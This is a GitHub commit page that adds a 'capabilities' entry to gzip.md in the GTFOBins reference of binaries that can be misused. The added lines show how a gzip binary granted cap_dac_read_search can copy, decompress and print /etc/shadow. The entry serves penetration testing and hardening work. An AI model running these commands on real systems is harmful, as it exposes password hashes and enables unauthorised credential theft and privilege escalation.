Skip to content

Commit af39975

Browse files
authored
Update gzip.md
Adding capabilities for cap_dac_read_search
1 parent ac8e667 commit af39975

File tree

1 file changed

+7
-0
lines changed

1 file changed

+7
-0
lines changed

Diff for: _gtfobins/gzip.md

+7
Original file line numberDiff line numberDiff line change
@@ -16,4 +16,11 @@ functions:
1616
- code: |
1717
LFILE=file_to_read
1818
sudo gzip -f $LFILE -t
19+
capabilities:
20+
- description: If cap_dac_read_search is set. Run ``getcap -r / 2>/dev/null`` to confirm ``/usr/bin/gzip cap_dac_read_search=ep``
21+
code: |
22+
gzip can read any file:
23+
gzip -c /etc/shadow > /tmp/shadow.gz
24+
gzip -d /tmp/shadow.gz
25+
cat /tmp/shadow
1926
---

0 commit comments

Comments
 (0)